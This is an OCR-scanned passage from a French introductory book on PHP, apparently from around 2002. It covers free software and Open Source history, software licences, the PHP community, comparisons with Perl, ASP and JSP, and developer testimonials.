Extraction and Report Language (langage pratique d'extraction et de rapport). C'est un 
langage de programmation tres largement utilise sur l'internet. II sert principalement aux 
administrateurs de systemes et de reseaux. II sert egalement dans le developpement de CGI. 
On estime qu'une centaine de programmeurs participe au developpement de Perl. Les 
programmeurs utilisant Perl seraient 500 000 et les utilisateurs, eux, plusieurs millions. En se 
basant sur les ventes d'ouvrages dedies a chaque langage, les editions O'Reilly estiment que 
Perl est aussi souvent utilise que Java. 

Apache est un projet libre d'envergure ; peut-etre celui qui a demontre le premier qu'un 
logiciel libre pouvait faire jeu egal avec les grandes entreprises de developpement de logiciels. 
II detient aujourd'hui la plus importante part de marche pour les serveurs web (source 
Netcraft), et cela face a des acteurs aussi puissants que Microsoft ou Netscape. En juin 1998, le 
geant de l'informatique IBM annongait soutenir officiellement le groupe Apache. Ce choix 
d'Apache par IBM fut une etape importante dans 1'histoire des logiciels libres. Les imperatifs 
commerciaux et economiques qui president aux decisions dTBM donnaient a ce soutien a 
Apache une valeur toute particuliere. Un logiciel libre pouvait servir les interets du monde 
commercial sans se galvauder ni perdre ses ambitions. 

L'histoire de la FSF n'est pas jonchee seulement de reussites. L'un des principaux echecs de la 
FSF fut de mettre beaucoup trop de temps pour fournir un noyau a son systeme d'exploitation 
(GNU). Cependant, l'une de ses principales reussites fut de fournir une trousse a outils a celui 
qui allait developper le noyau libre le plus connu : Linus Torvalds. C'est en effet grace aux 
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logiciels de la FSF que le jeune etudiant de l'universite d'Helsinki a pu developper son propre 
UNIX libre, Linux. Linus Torvalds voulait developper un UNIX pour son ordinateur 
personnel. Apres avoir etabli les premiers elements de son systeme d'exploitation, il mit 
rapidement le code source a la disposition des internautes du monde entier. C'est la que reside 
l'une des particularites les plus importantes de Linux. II est developpe et maintenu par des 
programmeurs du monde entier, grace a PInternet. De grands acteurs de l'industrie 
informatique font desormais confiance a Linux (IBM, Sun, Dell, HP, etc.). 

Cathedrale et bazar 

Ayant observe le developpement de Linux, Eric S. Raymond a voulu theoriser ce nouveau 
modele de developpement. Schematiquement, il oppose deux modeles : la cathedrale et le 
bazar. Le modele en cathedrale est un modele classique. C'est celui des entreprises et 
administrations classiques : centralise, tres hierarchise, il met beaucoup de temps a reagir, et les 
decisions sont soumises a de multiples validations. Dans le modele bazar, tout est beaucoup 
plus horizontal, mouvant et flexible. Un modele ouvert et collaboratif comme le bazar permet 
une evolution rapide et pertinente. Chacun est libre de soumettre un correctif ou une 
amelioration, ce qui evite de brider les initiatives. 



La scission : l'Open Source 



Richard Stallman n'a jamais fait l'unanimite dans le monde du logiciel libre. Son dogmatisme et 
ses prises de position fermes etaient vues par beaucoup comme des freins au developpement 
plus rapide du monde du libre, tout particulierement en direction des entreprises. Meme si la 
licence GPL n'interdit pas du tout la commercialisation d'un logiciel libre, la FSF vehiculait une 
image hostile au monde du commerce. D'aucuns pensaient que les idees developpees par la 
FSF nuiraient plus a la croissance de la communaute du libre qu'elles ne la serviraient. De ce 
fait, des programmeurs et d'autres acteurs du logiciel libre deciderent de substituer le terme 
Open Source a celui de Free Software, le terme "free" etant juge trop ambigu (en anglais, il 
designe aussi bien ce qui est gratuit que ce qui est libre). Afin de ne plus effrayer le monde de 
l'entreprise, le mouvement Open Source vit done le jour. On retrouvait a sa tete certains des 
plus prestigieux acteurs du monde du libre comme, par exemple, Bruce Perens (ancien 
mainteneur du systeme d'exploitation Debian http://www.debian.org et fondateur du projet de 
standardisation Linux Standard Base) ou Eric S. Raymond. L'objectif de ce nouveau mouve- 
ment etait clairement exprime : il s'agissait de mieux vendre et promouvoir le logiciel libre. 

II est important de bien comprendre que le courant de l'Open Source et celui des logiciels libres 
ne sont pas antinomiques, mais, qu'au contraire, ils sont complementaires. lis font la promotion 
du logiciel libre dans differentes directions. Toutefois, la FSF voit en l'Open Source un danger 
potentiel pour les logiciels libres. En effet, les points de divergence ne se situent pas seulement 
dans les termes, mais egalement dans les licences, la definition du logiciel libre et 1'utilisation 
qui peut en etre faite. 

Pour qu'un programme soit dit open source, il faut qu'il respecte un certain nombre de criteres 
definis comme suit par le mouvement Open Source. Tout d'abord, le logiciel open source doit 
pouvoir etre librement donne ou vendu, sans que cela entraine l'acquittement d'une redevance 
ou de droits d'auteur, et ce pour tous les utilisateurs de ce logiciel, sans distinctions. Le logiciel 
doit etre distribue avec son code source, qui peut etre modifie ou reutilise par l'utilisateur a 
condition que ce dernier respecte la licence du programme originel. Un logiciel peut etre open 
source meme si sa licence n'autorise pas explicitement la reutilisation de son code source. A ce 
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moment la, la diffusion de patches (fichiers de modification) doit etre autorisee. Une licence 
open source peut egalement demander a ce qu'une version modifiee d'un logiciel n'ait pas le 
meme nom que le logiciel "modele". Elle ne doit pas non plus etablir de discrimination a 
1'encontre de personnes ou de groupes de personnes, ni meme de distinctions relatives aux 
domaines d'utilisation du logiciel (il peut etre commercial ou exploite dans des domaines qui 
sont sujets a debat, comme la recherche genetique par exemple). La licence ne doit pas etre 
limitee a un ensemble de logiciels. Chaque logiciel formant une "suite" doit beneficier de la 
licence open source. C'est la neuvieme clause de la definition officielle de l'Open Source qui 
differencie principalement le mouvement Open Source de celui du logiciel libre. Elle dit : "La 
licence ne doit pas imposer de restrictions a d'autres logiciels distributes avec le programme. Par 
exemple, la licence ne doit pas exiger que tous les programmes distribues sur le meme support 
soient des logiciels open source." Malgre cela, l'Open Source reconnait la GPL comme etant 
compatible avec ses definitions : "La licence GPL est bien conforme a cette clause. Les 
bibliotheques sous licence GPL "containment" seulement les logiciels avec lesquels elles sont 
liees statiquement lors de la compilation, pas les logiciels avec lesquels elles sont distributes" 
(justification de la clause 9 dans la definition de l'Open Source). Meme si la porte reste ouverte, 
la FSF, elle, ne se reconnait pas dans l'Open Source. Elle continue d'affirmer son attachement 
a la portee philosophique du logiciel libre et considere l'Open Source comme "quelque chose 
de proche (mais pas d'identique) au "logiciel libre"(cf. site de la FSF). 



jfjk Quelques liens 

%£/ La definition de l'Open Source : 

INTERNET http:llwww.idealx.org/frldoclff-osdlfr-osd.htmimoc1 
La definition du logiciel libre : 
http://www.fsfeurope.org/documents/freesoftware.fr.html 
Licences compatibles avec la definition de l'Open Source : 
http:llwww.idealx.orglfrldoclfr-licenceslfr-licences.html 
Licences compatibles avec la definition de la FSF : 
http://www.gnu.org/licenses/license-list.fr.html 



Le droit et les logiciels libres 



Signe de sa richesse et de sa complexite, le monde du logiciel libre regorge de licences sous 
lesquelles un developpeur peut placer son travail. On compte plus d'une dizaine de licences 
dites "libres" ou apparentees. Pourquoi un tel foisonnement ? Parce que le logiciel libre ne date 
pas d'hier. . . et que les acteurs sont nombreux. Rien n'empeche une entreprise ou un particulier 
de creer sa propre licence se voulant libre. On peut citer les cas de Sun, Netscape, ou Apple, qui 
creerent leurs propres licences. 

Parmi toutes ces licences, on peut tout de meme noter que les plus repandues sont : la GPL et 
la LGPL, la licence FreeBSD ou la MPL. 

PHP est un langage de programmation libre et ouvert. II propose, par exemple, une API 
(Application Programming Interface, une interface de programmation d'applications) qui 
permet a des developpeurs d'ajouter des fonctions au langage. 

Mais, encore une fois, rien n'est simple. Les differentes versions de PHP n'ont pas ete diffusees 
sous la meme licence. PHP 3 a ete diffuse sous licence GPL, tandis que PHP 4 n'est pas 
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compatible avec la GPL. La licence actuelle (2.02) fait de PHP 4 un logiciel libre, mais il n'est 
pas reconnu comme compatible avec la GPL. La FSF encourage l'utilisation de PHP 3, diffuse 
sous GPL. Les responsables de PHP expliquent leur chofx en raison des aspects trop 
contraignants de la GPL. Les developpeurs ont decide de publier PHP 4 sous une licence plus 
souple, pour permettre au PHP d'etre le plus populaire possible. La licence de PHP 4 se 
rapproche de la licence d'Apache (PHP fait partie de la fondation Apache). Autre pomme de 
discorde : le Zend Engine, distribue avec PHP 4. Jusqu'en novembre 2001, le Zend Engine etait 
publie sous une licence QPL, non compatible avec la GPL. Depuis, Zend a change la licence de 
son moteur pour une licence de type BSD, compatible, elle, avec la GPL. 

En tout etat de cause, avant de faire quoi que ce soit avec PHP, lisez attentivement sa licence 
et celle de tout produit connexe que vous utiliseriez, pour savoir s'ils sont compatibles avec ce 
que vous voulez en faire. 



/fjk Le texte (en anglais) des licences 

%S7 Licence PHP 4 : 

internet http://www.php.net/license/2_02.txt 

Licence Zend Engine : 

http://www.zend.com/license/2_00.txt 



PHP etle libre 

Et la communaute PHP dans tout 5a ? Comme tout projet libre, PHP beneficie de nombreuses 
contributions apportees par des developpeurs benevoles impliques partout dans le monde. On 
estime a plus de 300 membres la communaute des developpeurs PHP. Projet collaboratif, il tire 
avantage de tous les aspects positifs d'un developpement libre. Les bugs decouverts peuvent 
notamment etre corriges rapidement. 

C'est grace a son ouverture que PHP a pu croitre aussi vite. De par son API, il s'est enrichi de 
nombreuses fonctionnalites comme, par exemple, le support des protocoles les plus utilises sur 
l'internet (comme POP3, IMAP, ou NNTP), un acces aux annuaires LDAP, ou bien encore un 
parseur XML. 

Langage ne pour le Web, PHP dispose d'une communaute en ligne tres active. Le pere de PHP, 
Rasmus Lerdorf, le dit lui-meme : "PHP a ete developpe par la communaute, et non pas par 
moi" (interview a Nexen pour le Journal du Net). D'une certaine maniere, on peut comparer le 
developpement de PHP a celui de Linux. Rasmus Lerdorf a eu le meme role que Linus 
Torvalds. II a initie le mouvement, a pose les premieres bases, puis a permis a des internautes 
d'utiliser sa creation et d'en connaitre le code source. Ces etapes prealables reunies, la creation 
spontanee d'une communaute de developpeurs n'etait plus tres loin. 

De nombreux sites proposent des centaines de scripts au telechargement. Les developpeurs qui 
utilisent PHP n'hesitent pas a faire profiter le reste de la communaute de leurs creations. Que 
ce soit sur des sites "perso" ou des sites connus, un programmeur qui veut mettre en place un 
forum, un site de gestion de contenus, ou meme un freemail (de type Hotmail ou Caramail) ou 
un systeme de knowledge managment trouvera, a coup sur, des programmes en PHP qui 
repondent deja a ses attentes. L'un des premiers reflexes d'un programmeur en PHP qui 
travaille sur un nouveau projet sera d'aller chercher en ligne ce qui a deja ete fait dans son 
domaine, pour s'en inspirer ou pour adapter une solution. Le projet PEAR (PHP Extension 
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and Add-on Repository, ou depot d'extension et d'add-on PHP -pear signifie poire en anglais) 
represente bien 1'esprit open source et "opportuniste" de PHP. Largement inspire du systeme 
CPAN (Comprehensive Perl Archive Network) pour le langage Perl, Pear est une base de 
donnees en ligne de programmes ou d'extensions en PHP. Les developpeurs partagent ainsi 
leurs creations. PHP a su recuperer l'un des aspects les plus interessants du monde Perl. 

La communaute dispose, en plus, du soutien d'entreprises qui participent au developpement de 
PHP, ou qui en sont de fervents supporters. La societe Zend propose de nombreuses solutions 
logicielles autour de PHP, en plus du Zend Engine, interpreteur generique integre a PHP 4. On 
peut egalement citer la societe francaise Nexen, specialisee dans les services Internet, qui, en 
plus de ses activites, soutient activement PHP (hebergement de miroirs, diffusion de 
documentation, etc.). 



>Jfc Quelques liens 

%5' Pear (en anglais) : 

INTERNET http:llpear.php.net/ 

CPAN (en anglais) : 

http://www.cpan.org 

Interview de Rasmus Lerdorf : 

http://developpeur.journaldunet.com/itws/itjhpnexen_rasdorf.shtm 



1.4. PHP face a ses concurrents (ASP, JSP, etc.) 



PHP face aux autres langages de script web 



"PHP n'est pas un langage neuf ou revolutionnaire. II emprunte une grande partie de sa syntaxe 
a des langages comme le C, Perl ou Java". Qui est l'auteur de ce jugement definitif sur la 
pretendue revolution ou sur le caractere novateur de PHP ? Bill Gates, Scott McNeally ou 
Larry Wall ? Aucun d'entre eux ! C'est bien le pere de PHP lui-meme, Rasmus Lerdorf, dans 
une interview au journal en ligne Computerworld. Et ce n'est pas tout. Quelle est la difference 
entre PHP et son grand rival proprietaire, ASP, de Microsoft ? II n'y en a pas vraiment. "Au 
fond, ils font les memes choses", n'hesite pas a ajouter Rasmus Lerdorf. Encore un peu, et Ton 
va apprendre que M. Lerdorf code en VisualBasic et qu'il en est tres content... Non, la curee 
s'arrete la. 

Mais Rasmus Lerdorf a raison. PHP n'est pas une revolution a proprement parler et, sur le 
fond, PHP n'apporte rien de bien particulier par rapport a ASP, Java ou Perl. Envoyer des 
mails, generer des pages a la volee, tout cela, PHP le permet tout comme ASP, par exemple. 

Comparer PHP a ses grands rivaux n'est pas toujours chose aisee, voire admissible. Ainsi, la 
comparaison avec Perl n'est pas forcement fondee. Perl est un langage de script, alors que PHP 
est un langage de script fait pour l'lnternet. On ne compare alors qu'une portion de Perl a la 
totalite de PHP. De meme, ASP s'integre de plus en plus dans la plateforme .Net de Microsoft, 
ce qui lui ouvre d'autres horizons. PHP, lui, n'est pas infeode a une plateforme. Idem pour Java. 
Java a ete concu pour evoluer dans une architecture dite "n-tiers", alors que PHP, lui, reste dans 
un environnement "2 tiers" (voir schema). 
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Se servir de Java pour dynamiser un site personnel, cela revient a quelque chose pres a se servir 
d'un lance-flammes pour desherber un parterre de rosiers ! 

Ceci etant dit, il est tout de meme possible de se pencher sur ces langages de script pour voir 
quels sont leurs avantages et leurs inconvenients sur les points qu'ils ont en commun. 



Comparatif PHP/Perl 



Perl est avant tout un langage de script systeme, ne pour remplacer sed et awk. Face a lui : PHP, 
un langage de script ne du Web pour le Web. Les points de comparaison, s'ils existent, ne 
doivent pas faire oublier que Perl n'a pas pour objectif premier la creation de sites web. 

De base, PHP inclut beaucoup plus de bibliotheques que Perl. Pour Perl, il faut souvent aller 
chercher une librairie souhaitee sur CPAN. En revanche, Perl, dispose, au final, de beaucoup 
plus de bibliotheques que PHP. La, PHP fait les frais de son jeune age face a un langage d'age 
deja venerable. Sans parler des librairies, les solutions en Perl sont deja tres nombreuses. 
Toutefois, le dynamisme tout particulier de la communaute PHP est en passe de combler cette 
lacune. 

Langage oriente web, PHP est plus facile a maintenir et a faire evoluer que Perl. Retoucher ou 
adapter rapidement un site tout entier tourne vers Perl reste plus ardu que si le site dispose 
d'une architecture en PHP. 

Perl a aussi su s'adapter au Web. Alors qu'il creait un nouveau processus sur le serveur a chaque 
nouvelle requete, Perl a, depuis, su normaliser ses rapports avec le serveur web. Le probleme a 
en effet ete regie par 1'apparition de mod _perl ou FastCGI. 



Comparatif PHP/ASP 



ASP (Active Server Pages) est un langage de script developpe par Microsoft. PHP et ASP sont 
assez proches dans leur philosophic et dans leur mise en oeuvre. Dans les deux cas, le code du 
script est insere directement dans la page web. Jusqu'a PHP 3, ASP disposait d'un tres net 
avantage sur PHP : PHP ne gerait pas les sessions. Avec l'introduction de cette gestion en mode 
natif dans PHP 4, l'avantage est perdu. Si PHP 3 doit imperativement etre utilise, pour des 
raisons de licence par exemple, il existe de toute fagon des alternatives, comme PHPLib, qui 
permettent de gerer les sessions malgre tout. 

Le gros inconvenient dASP par rapport a PHP reside dans sa tres forte dependance a la 
plateforme Windows. ASP ne se deploie en effet que dans un environnement Microsoft. II 
existe certes un portage sous UNIX, grace a la solution mise en place par Sun avec Chilisoft 
ASP, mais cela reste en deca de ce que peut offrir PHP. PHP n'a pas ete developpe pour une 
plateforme en particulier, ce qui ouvre de bien plus vastes horizons en matiere de portability 
des applications ainsi qu'en evolutivite. PHP fonctionne sous Linux comme sous Windows NT, 
sans avoir a recourir a des programmes tiers. Un script en PHP pourra etre reutilise bien plus 
facilement qu'un script en ASP. 

II a souvent ete reproche a PHP d'accuser des temps de reponse assez longs. Ce point peut etre 
ameliore grace a des solutions logicielles de cache. Zend Accelerator ou PHP Accelerator 
reduisent ainsi nettement les temps de reponse de PHP. 

Autre grosse difference entre PHP et ASP : PHP s'interface en natif avec l'ensemble des 
systemes de gestion de bases de donnees standard du marche, alors qu'ASP doit passer par 
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ODBC. Cette difference peut etre envisagee de deux facons. D'un cote, une meilleure maitrise 

de la base de donnees et peut-etre meme de meilleures performances jouent en faveur de PHP. 

D'un autre cote, les fonctions varient d'une base de donnees a l'autre, ce qui necessite d'adapter 

le code pour chaque base de donnees, alors qu'en theorie, ASP ne demandera que quelques 

g modifications. En fait, meme si rien n'est propose en standard, il existe des solutions 

o (presentees dans ce livre) de couches d'abstraction pour PHP, mais, surtout, l'implementation 

E du langage SQL variant grandement d'un serveur de bases de donnees a l'autre, 1'adaptation du 

■ code en fonction du serveur de bases de donnees est inevitable (c'est d'ailleurs pour cette raison 

que Rasmus Lerdorf n'est pas favorable a l'integration d'une couche d'abstraction dans PHP). 

Aujourd'hui, ASP va tres largement vers .Net, la plateforme "n-tiers" de services web de 
Microsoft. II se rapproche en cela de Java avec J2EE de Sun. De son cote, PHP deviendra de 
plus en plus un langage "serieux", incluant declaration de variable, typage, etc. 

Face a l'ASP, PHP peut egalement jouer la carte du prix. Prenons le cas d'une entreprise qui 
veut developper une solution Microsoft. Windows 2000 Server lui coutera 934 euros, Internet 
Security and Acceleration Server, 8 000 euros, SQL Server 2000 Entreprise Edition, 2 300 
euros, Microsoft Proxy Server, 900 euros et, enfin, la souscription au MSDN, 2 100 euros par 
developpeur. Ce qui fait un total de 14 234 euros. Face a cela, une architecture similaire autour 
de PHP peut etre construite avec Linux, Apache et SSL, PostgreSQL et Squid, le tout pour zero 
euros (hormis le cout de bande-passante requis pour telecharger les produits). Pour une jeune 
entreprise, une telle manne financiere peut se reveler tres utile dans d'autres domaines... 



Comparatif PHP/JSP 



Encore une fois, comparer PHP a JSP est un exercice perilleux. Le principe de fonctionnement 
est un peu different : PHP a ete concu pour s'integrer au code HTML, tandis que JSP est une 
utilisation de Java permettant de faire gerer des scripts integres au code HTML. En fait, une 
page JSP est systematiquement convertie en servlet. Alors que l'execution d'un script PHP est 
composee de l'analyse du document, de la compilation (en opcode) et de l'execution 
proprement dite, celle d'un script JSP est composee de l'analyse du document, de la generation 
de la servlet (qui consiste principalement a convertir le code HTML en appels Java "affichant" 
ce meme code), de la compilation de la servlet et, enfin, de l'execution proprement dite. II est 
possible d'imaginer que c'est la "lourdeur" de ce travail qui fait que les servlets sont 
systematiquement mises en cache (ce qui cree parfois des surprises aux developpeurs 
debutants), alors que l'utilisation de caches n'est qu'optionnelle avec PHP (il est done 
important de tenir compte de cette difference lors d'un comparatif de performances). 

Alors qu'avec PHP, tout passe par l'utilisation de scripts PHP, avec JSP, l'utilisation des scripts 
(scriptlets) doit etre reduite au minimum. Ces scriptlets doivent autant que possible se contenter 
d'appeler des methodes de Beans. Cela presente l'inconvenient de devoir systematiquement 
travailler de front dans deux espaces differents : d'un cote les pages web, de l'autres les Beans. 
Chaque modification entrainera une nouvelle compilation des Beans et, eventuellement, la 
generation d'une nouvelle archive a deployer dans l'espace du serveur. Avec PHP, une simple 
modification du script dans l'espace du serveur suffit. En revanche, la compilation des Beans vous 
assure de ne pas rencontrer de stupides erreurs de syntaxe lors de l'execution du code (probleme 
que Ton rencontrera avec PHP). Mais ce n'est toutefois pas 5a qui vous assurera d'avoir un code 
qui fonctionne (meme s'il est vrai que cela y contribue grandement). En fait, JSP se concoit 
comme un element parmi d'autres dans une architecture J2EE. 

Pour des sites de grande envergure, l'avantage est indiscutable : on peut plus facilement 
partager les taches et les competences d'une equipe sur l'elaboration d'un code en Java. De 
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meme, 1'architecture "n-tiers" de Java (permettant l'appel d'objets mis a disposition sur un 
serveur distant) offre un eventail de solutions plus large (et avec des solutions plus robustes) 
pour des sites a forte audience et trafic dense. Mais pour aboutir a ce resultat, nombreuses sont 
les normes ou regies de conceptions a respecter ce qui ne facilite pas l'apprentissage du 
langage. II est a noter toutefois que bon nombre de ces regies peuvent tres bien etre appliquees 
a PHP (comme par exemple le modele MVC). Dans ce cas, il est juste de la responsabilite de 
l'equipe de developpeurs de s'imposer ou nous ces choix de conception. 
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Figure 1 .3 : Architecture en "n-tiers" de Java face a PHP 

Via J2EE, Java rend l'eclatement d'une plateforme applicative beaucoup plus facile et simple 
que dans le cas de PHP. Pour PHP, le script doit theoriquement etre execute sur la machine qui 
recoit la requete (traitement du script sur la machine qui heberge le serveur web). Aussi est-il 
plus ardu de mettre en place une structure eclatee, plus modulaire, et tenant de lourdes 
charges. 

L'interfagage avec les bases de donnees s'effectue grace aux pilotes JDBC, ce qui permet de 
communiquer avec tout type de serveur de bases de donnees avec un langage commun, mais, 
comme nous l'avons dit precedemment, ce n'est pas le cas par defaut pour PHP (meme si des 
solutions existent). Toutefois, comme cela a egalement ete dit, le langage SQL varie 
sensiblement d'un serveur de bases de donnees a l'autre, rendant necessaire l'utilisation de 
code dedie (ce qui reduit grandement l'interet d'une telle interface). 

Pour une application specifique, le choix de Java peut se reveler judicieux. Par exemple, on ne 
peut pas parler de veritable pool de connexion en PHP, alors que, pour Java, il est present dans 
le container de EJB-J2EE. Dans le meme esprit, il est possible de partager des Beans en 
commun avec tous les scripts executes (ce que ne propose pas PHP). 

II est a noter que Java a ete concu comme etant oriente objet (comme Smalltalk ou 
ObjectiveC). PHP, lui, n'a pas ete cree pour la programmation objet, mais il est tout de meme 
possible de programmer de la sorte, meme si toutes les proprietes auxquelles nous pourrions 
nous attendre ne sont pas disponibles. Aujourd'hui les choses sont en train de changer, et le 
moteur Zend 2 va plus loin dans le sens de la programmation objet. 

Heureusement, comme pour PHP, il existe des solutions open-source plus ou moins completes 
comme par exemple Tomcat et JBoss. 



43 






Chapitre 1 Introduction 



Perspectives 

PHP a pour lui une tres grande facilite d'installation. II est propose de base sur quasiment 
toutes les distributions Linux. De tres nombreux kits d'installation existent, qui permettent de 
faire rapidement ses premiers pas. Ces kits offrent egalement une solution de mise a jour 
pratique et facile a mettre en ceuvre. PHP fait partie de la fondation Apache, ce qui garantit un 
interfagage entre le langage de script et le serveur web, sinon parfait, du moins tenu a jour. 

Comme nous l'avons deja dit a plusieurs reprises, PHP dispose d'une tres large et dynamique 
communaute de developpeurs, et les tutoriels en PHP sont tres nombreux. Entierement 
traduite en francais, la documentation officielle est disponible gratuitement sous de nombreux 
formats. PHP a egalement su s'inspirer des points positifs de ses concurrents. Le CPAN de Perl 
avait ainsi donne naissance a son equivalent PEAR (base de ressources centralisees pour PHP). 

II est tres largement reconnu que PHP est d'une prise en main facile. Sa syntaxe simple permet 
d'approcher beaucoup plus vite de la solution. 

Pour une entreprise, PHP peut egalement etre interessant par son faible cout de deploiement. 
Par rapport a ASP, par exemple, qui sous-entend une plateforme Microsoft avec de 
nombreuses licences a acheter, PHP aligne des equivalences fibres, et bien souvent gratuites, 
tout aussi fonctionnelles. 

Petit point negatif pour PHP, les comparatifs sont bien peu de choses face a une culture 
d'entreprise. Meme si PHP offre, dans certains cas, une solution tout a fait satisfaisante et bien 
meilleur marche, il sera souvent plus simple de lui preferer une solution ASP ou JSP pour des 
raisons historiques propres a l'entreprise. C'est la que PHP peut avoir un caractere 
revolutionnaire. L'adopter, c'est faire confiance a une technologie atypique par son histoire et 
sa portee. C'est la que le plus gros travail reste a faire pour les developpeurs. Si, sur le papier, 
les decideurs informatiques acceptent bien volontiers les avantages de PHP, basculer une 
plateforme vers PHP reste une decision importante. La tendance semble pourtant s'inverser du 
fait du passage de certains grands comptes vers PHP (liberation.fr par exemple) : on fait de plus 
en plus fait confiance au PHP. Cette confiance associee a une recherche d'economie dans le 
monde de l'lnternet font que c'est tout naturellement que PHP depasse ASP en terme d'equi- 
pement de sites web (avril 2002, sur les sites etudies par Netcraft). 



>3t Documentation qfficielPHP 

%f''' http://www.php.netldocs.php 

INTERNET 



Enbref 



Pour des langages de script, il est possible de discerner quelques grands facteurs a prendre en 
compte lors du choix de l'un d'entre eux : la facilite d'apprentissage (accessibilite), la puissance 
au regard de la complexite, la portability et l'environnement disponible (ressources en ligne, 
outils, etc.). Pour ASP, PHP, Java, Perl et PHP, la situation peut se resumer comme suit : 
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Tableau 1.1 : Tableau comparatif des langages de script 





PERL 


ASP 


JSP 


PHP 


Accessibility 


+ 


+ + 


- 


+ + + 


Puissance 


+ + 


+ + 


+ + + 


+ + 


Portability 


+ + 


- 


+ + + 


+ + + 


Environnement 


+ + 


+ + 


+ + + 


+ + + 



Au regard des criteres que nous avons definis, PHP semble bien avoir le plus d'avantages. II 
n'importe pas de savoir si, dans l'absolu, PHP est plus puissant que Java, par exemple. Mais, en 
revanche, il s'agit de savoir si, dans le cas de l'utilisation d'un langage de script pour rendre un 
site web dynamique, l'investissement en temps requis pour maitriser Java est justifiable au 
regard de la facilite d'usage de PHP. Le Jargon frangais definit les objectifs d'un langage de 
script comme suit : "Faire simple, rapide, utilitaire". Dans cette optique, PHP est clairement le 
plus adapte. 



© 

INTERNET 



Le Jargon 
http://www.linux-france.org/prj/jargonf 



1.5. Pourquoi ont-ils choisi PHP ? 
lis ont choisi PHP 

De nombreuses applications ont deja ete ecrites en PHP et les sites webs ("perso" comme 
professionnels) qui passent au PHP ne se comptent plus. Pourquoi un webmestre fait-il le choix 
de PHP ? Entre ambition de developpement et preference politique, les atouts de PHP sont 
varies. De plus, les performances alignees par PHP dans ses multiples applications grand public 
peuvent egalement seduire. 

Nous avons recueilli les temoignages de deux developpeurs qui ont fait le choix de PHP, pour 
les presenter plus en detail avant de passer a une presentation generate avec l'aide de 
l'Observatoire frangais de PHP. 

Gros plan : Tuxfamily et DaCode 
Tuxfamily, hebergeur independant 

Lance par Julien Ducros, Tuxfamily est un hebergeur de projets libres qui utilise PHP au sein 
de sa plateforme. Agee de trois ans, la structure de Tuxfamily est desormais solide : un systeme 
LVS (Linux Virtual Server) orchestre par deux Load Balancer (N.D.A : repartiteur de charge). 
Toute la plateforme est repliquee et les donnees utilisateurs sont contenues sur un filer central 
de 360 Go en raid 5. Les responsables de Tuxfamily connaissent PHP depuis bien longtemps, a 
l'epoque meme ou Ton parlait encore de PHP/FI. 
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Pourquoi ont-ils choisi PHP ? Principalement pour sa rapidite de mise en oeuvre. Mais ce n'est 
pas tout : "Le langage PHP a aussi ete pour nous un choix politique", explique Pierre Machard. 
II poursuit : "PHP est un logiciel libre de grande qualite. Sa flexibilite et sa polyvalence ont 
motive ce choix. Par exemple, nous pouvons actuellement 1'utiliser indifferemment avec une 
base de donnees MySQL ou Postgres". Pour lui, meme s'il n'offre pas la puissance des CGI, 
PHP est beaucoup plus simple a mettre en oeuvre et a exploiter. Selon Pierre Machard, la 
syntaxe de PHP, proche du C, participe aussi de son succes. Enfin, il est, d'apres lui, ideal pour 
epauler Apache. 

PHP n'est pas pour autant au-dessus de tout soupcon. Comme toute technologie dite 
"dynamique", PHP expose les sites a des attaques par cross site scripting (exploitation d'une faille 
de securite sur un serveur web en entrant des commandes directement dans l'adresse d'une 
page). Pour Tuxfamily, il est necessaire de s'assurer d'avoir la derniere version stable installee. 
Les alertes de securite publiees sont plutot le signe d'une bonne sante de PHP. En tout cas, "une 
rustine est rapidement disponible sur l'lnternet", nous explique Pierre Machard, "ce qui n'est 
pas le cas d'ASP, logiciel proprietaire". Pour un site a fort trafic comme Tuxfamily, PHP dispose 
d'un moteur bien concu qui "n'accapare pas a outrance les ressources des machines, meme s'il 
possede quelques carences", concede Pierre Machard. 

Seul petit bemol adresse a PHP par l'equipe de Tuxfamily : la licence de la derniere version. Les 
version 3.x etaient libres, alors que la licence appliquee a partir de PHP 4.x est plus restrictive 
(voir notre partie sur les licences). 

daCode, moteur de nouvelles 

Createur et webmestre du site d'informations sur Linux et les logiciels libres http://linuxfr.org, 
Fabien Penso a bien voulu nous expliquer pourquoi il avait choisi PHP pour developper daCode, 
le moteur de son site. 

II a rencontre PHP par hasard. Cherchant un langage de script simple pour faire des sites web, 
il a tout naturellement teste PHP. Voulant rendre daCode utilisable par n'importe qui, il a 
choisi PHP pour developper son logiciel, car c'est le langage disponible sur les plateformes 
grand public comme Free ou Multimania. Cela allait dans le sens de sa demarche. L'idee etant 
egalement d'avoir le plus de contributions possibles pour daCode, l'importante communaute 
de developpeurs PHP a joue en faveur du langage libre. II fut un temps question de Perl/ 
mod_perl mais cette solution posait trop de problemes de fuite de memoire. 



© 



Leurs sites 

Tuxfamily, hebergement libre pour gens libres : 
INTERNET http://www.tuxfamily.org 

Contact : Pierre Machard <pmachard@tuxfamily.org> 

Linuxfr, site d'information sur Linux et les logiciels libres : 

http://linuxfr.org 

daCode, gestionnaire de contenus open source (GPL) : 

http://www.dacode.org 

Contact : Fabien Penso <penso@linuxfr.org> 
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PHPal'assautduNet 

On ne denombre plus les grands comptes qui se tournent vers PHP. Que ce soit par la petite 
porte, souffle a un directeur informatique par un developpeur, ou dans un plus large panel 
d'offres faites par une webagency, PHP n'est plus un langage neuf ou exotique. Les decideurs 
en informatique lui font de plus en plus confiance. 

Le second trimestre 2002 a vu naitre deux structures paralleles visant a recenser toutes les 
utilisations professionnelles ou industrielles de PHP. L' Association franchise des utilisateurs de 
PHP (AFUP), nee en avril 2002, et l'Observatoire francais de PHP (OFPHP), ne en juin 2002, 
presentent des interviews, des etudes et des listes de sites utilisant PHP. Le surf sur ces sites 
montre a quel point PHP a penetre les hautes spheres du web. 

Sur le site de l'AFUP, on apprend que le quart des entreprises du CAC 40 utilisent PHP pour 
leur site web. Parmi elles, Cap Gemini, PSA Peugeot Citroen, Schneider Electric SA, etc. On le 
voit, pour les grands comptes, le langage de script libre fait tres largement jeu egal avec ASP, 
JAVA ou ColdFusion. 

Du cote de l'OFPHP, la liste des sites utilisant PHP de par le monde, presentee dans la section 
References, est impressionnante : http://sourceforge.net (30 millions de pages visionnees par mois), 
http://www.phpbuilder.com (9 millions de pages par mois) ou encore http://www.insight.com (plus de 2 
milliards SUS. de chiffre d'affaire en 2000). Pour la France, citons simplement http://www 
.boursorama.com (14 378 807 visites en juillet 2001 avec une pointe a 9 783 039 pages vues pour la 
seule journee du 17 septembre 2001, jour de la reouverture des marches a Wall Street). L'OF- 
PHP presente egalement des interviews d'acteurs de l'internet qui ont choisi de faire confiance 
au PHP. 



jfjk. L 'utilisation de PHP dans les entreprises 

%J7 AFUP : le quart des entreprises du CAC 40 utilisent PHP 
internet http://www.afup.org/article.php37id_article =105 
